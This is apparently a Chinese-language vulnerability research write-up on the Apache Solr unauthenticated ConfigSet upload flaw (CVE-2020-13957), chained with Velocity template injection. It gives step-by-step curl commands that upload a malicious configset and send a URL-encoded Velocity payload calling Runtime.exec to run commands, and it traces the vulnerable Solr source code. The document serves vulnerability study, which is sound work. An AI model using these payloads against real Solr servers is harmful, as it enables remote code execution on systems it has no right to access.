CVE-2020-13957 Apche Solr 未授权上传漏洞
前言
Apache Solr 发布公告,旧版本的 ConfigSet API 中存在未授权上传漏洞风险,被利用可能导致 RCE (远程代码执行)。
影响版本
- Apache Solr6.6.0 -6.6.5
- Apache Solr7.0.0 -7.7.3
- Apache Solr8.0.0 -8.6.2
环境搭建
为了方便之后的调试工作,我们下载源代码,利用 ant + ivy 进行编译
1 | ant ivy-bootstrap //安装ivy |
为了加快下载的速度,在根目录下的 bulid.xml & /solr/build.xml 中都添加代理地址
1 | <setproxy proxyhost="127.0.0.1" proxyport="1080"/> |
来来回回环境依赖下载了好多天,快要下载到我心灵崩溃。最后反反复复,终于确定了一件事情,太过老旧的版本并不适合去进行编译,因为他们访问 maven 依赖的方法还是利用 http,而现如今只能通过 https 来进行访问,所以无论是再怎么利用手机开热点,再怎么更换代理节点,带给我的结果只有 ERROR。
下载项目
来进行编译
漏洞复现
1 | cd \solr\bin |
启动SolrCloud,访问 http://127.0.0.1:8983
首先进行一个恶意的配置
solr\server\solr\configsets\sample_techproducts_configs\conf\solrconfig.xml
1 | <str name="solr.resource.loader.enabled">${velocity.solr.resource.loader.enabled:true}</str> |
👇
攻击过程:
利用方法一
-
将
solr\server\solr\configsets\sample_techproducts_configs\conf
目录下的所有文件,打包成一个压缩文件 -
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=mytest"
#注册一个配置文件集合为mytest -
curl "http://127.0.0.1:8983/api/cluster/configs?omitHeader=true"
#查询配置文件集合是否上传成功 -
curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=mytest1&baseConfigSet=mytest&configSetProp.immutable=false&wt=xml&omitHeader=true"
#根据UPLOAD的配置,创建一个新的配置,绕过不能通过直接UPLOAD创建collection的限制
-
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=mytest2&numShards=1&collection.configName=mytest1"
-
curl -g -v "http://127.0.0.1:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
# 执行命令
利用方法二
-
将
solr\server\solr\configsets\sample_techproducts_configs\conf
目录下的所有文件,打包成一个压缩文件 -
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=mytest"
#注册一个配置文件集合为mytest
-
curl -v "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=mytest1&numShards=2&replicationFactor=1&wt=xml&collection.configName=mytest"
#选择恶意的solrconfig.xml创建新的Collection
-
curl -g -v "http://127.0.0.1:8983/solr/mytest1/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
# 执行命令
网络漏洞分析
编译成功后将源代码导入 idea 当中,开启 solr 并设置 debug 模式
1 | cd \solr\bin |
漏洞的利用需要开启 solrcloud ,前期想着通过一条命令开启 debug 模式的同时,也开启 solrcloud ,但是经过不断的测试,发现是不能成功的,在师傅博客之上看见,通过创建两个文件夹去做这个事情,既搞不清楚原理,操作起来也非常麻烦。但是偶然之间,发现先开启 solrcolud 之后,配置文件也会因此而生成,停止所有的 slor 服务之后,再启动 debug 就可以成功了。
在 idea 中配置远程调试的参数
在网上的文章找那个会经常出现模板这个名词,为了防止指代不明,本文章的所有模板均指的是Veloctiy 模板。关于solr上的相关名词 创建 collection 的配置文件就称之为config_set。
当传入 zip 配置文件去生成一个config_set时,会调用 getTrusted 函数进行判断是否允许创建该配置:
curl -X POST --header “Content-Type:application/octet-stream” --data-binary @mytest.zip “http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=mytest”
org/apache/solr/handler/admin/ConfigSetsHandler.java
org.apache.solr.handler.admin.ConfigSetsHandler#getTrusted
虽然配置文件集被标记为不值得信任的(缺少身份验证),但是还是创建了该config_set。
根据刚才上传的 config_set 去生成一个新的 config_set1
org.apache.solr.handler.admin.ConfigSetsHandler.ConfigSetOperation
我们注意到,在利用之前上传的 config_set 创建新的 config_set1 的时候,并未触发 getTrusted 断点,这也就意味着,在 CREATE 通过母版创建子版的时候并没有触发校验。
此时再根据创建的 config_set1 去创建 collections 来调用solr组件进行远程代码执行
执行命令
curl -g -v "http://127.0.0.1:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
进一步思考
关于根据 config_set1 创建 collections 以及创建出的 collections 为何能够实现远程代码执行,此处暂时先不讲。 我们需要深入分析的问题目前有两个:
- 为什么通过直接上传的 config_set 不能创建 collections ?
- 为什么通过直接上传的 config_set 又可以创建 collections ?
这两个问题看似自相矛盾,其实就代表的网上关于这个漏洞的两种利用方法。
一个是要重新创建一个配置,另一个是直接就可以,直到我在源码里面看到了这个
replicationFactor
并不是一个什么特殊的参数,仅仅是创建 collections 时可有可无的参数,与这个漏洞并没有很大的关系。至于网上的第一篇文章在讲述为什么用通过 config_set 去创建 config_set1 之后才能创建 collections 我猜测可能是因为通过图形化去创建,触发了什么别的校验而没有成功?通过命令行的 api 接口去进行创建时就ok了。可见不能完全照抄网上的分析。
我笑了,原来这么长时间就分析了个寂寞,事实的真相可能就是,即使未通过身份校验,上传的 config_set 也会直接写入服务器内,然后通过该 config_set 去创建 collections,然后通过 collections 进行模板渲染命令执行。
Velocity模版远程命令执行
Apche Solr 未授权上传漏洞(CVE-2020-13957) 通过上传恶意模板,进而导致的远程命令执行,造成远程命令执行的原因是 Apache Solr Velocity 注入远程命令执行漏洞(CVE-2019-17558)。
由于 Solr 默认未开启登录认证,只需要请求/节点/config,将配置项 params.resource.loader.enabled 设置为 true ,再构造链接让 Solr 中的 Velocity 模板引擎渲染传入恶意模板,造成命令执行。
Velocity
Velocity是一个基于Java的模板引擎,其提供了一个Context容器,在java代码里面我们可以往容器中存值,然后在vm文件中使用特定的语法获取,这是velocity基本的用法,其与jsp、freemarker并称为三大视图展现技术,相对于jsp而言,velocity对前后端的分离更加彻底:在vm文件中不允许出现java代码,而jsp文件中却可以。
如果我们模板 test.vm 内容如下时, Velocity 将会执行命令,并显示执行结果。
1 | #set($x='') |
所以当以 Velocity 为模板渲染引擎,如果渲染的模板内容可控的话,就可以通过构造恶意模板来执行任意命令。
漏洞分析
POC代码为
curl -g -v "http://127.0.0.1:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
solr 在查询数据结束之后,会根据 wt 参数的值来确定数据返回的格式,可以是 XML、JSON、CSV,Veloctiy 模板渲染等,漏洞触发为使用 Veloctiy 模板渲染来返回查询数据结果。
org.apache.solr.response.QueryResponseWriter
根据 wt 确定数据处理的对象,core 为选择创建的 collection。
org.apache.solr.core.SolrCore#getQueryResponseWriter(java.lang.String)
QueryResponseWriter 的类型为 VelocityResponseWriter,然后跟进到
org.apache.solr.response.VelocityResponseWriter#write
初始化模板引擎 采用了 createEngine 方法
org.apache.solr.response.VelocityResponseWriter#createEngine
如果 paramsResourceLoaderEnabled
的值为 true,程序会创建一个参数资源加载器对象,即模板内容是前端传入的参数。所以设定config_set时要满足 velocity.params.resource.loader.enabled:true
,这样创建出来的 collection 才可行。
可以看到经过 new SolrParamResourceLoader(request) 的处理 custom.vm 中存储了会执行的命令。
org.apache.solr.response.SolrParamResourceLoader#SolrParamResourceLoader
SolrParamResourceLoader 会解析前端传进的所有参数,并对 v.template.
开头的参数进行处理,截断 v.template.
并拼接 .vm
,再传入前端传进的所有参数。
经过处理初始化模板引擎之后又返回最开始的函数
org.apache.solr.response.VelocityResponseWriter#write
紧接着加载模板文件
跟进 org.apache.solr.response.VelocityResponseWriter#getTemplate
在获取模板的对象的时候,将前端传入的参数 v.template
的值拼接 .vm
,得到 custom.vm,就是上一步初始化时传入的恶意模板。加载的模板文件就是 custom.vm。
紧接着就是进行合并渲染
漏洞因此触发。
大概的一个触发流程可以这么理解,初始化模板引擎时创建了一个恶意模板,在加载模板时选择了初始化时创建的恶意模板,最后进行合并渲染的时候触发了 Velocity的远程命令执行。
参考文章
CVE-2020-13957 Apache Solr 未授权上传漏洞复现&&分析
Apache solr Velocity模版远程命令执行漏洞分析
Apache-Solr-Vulnerability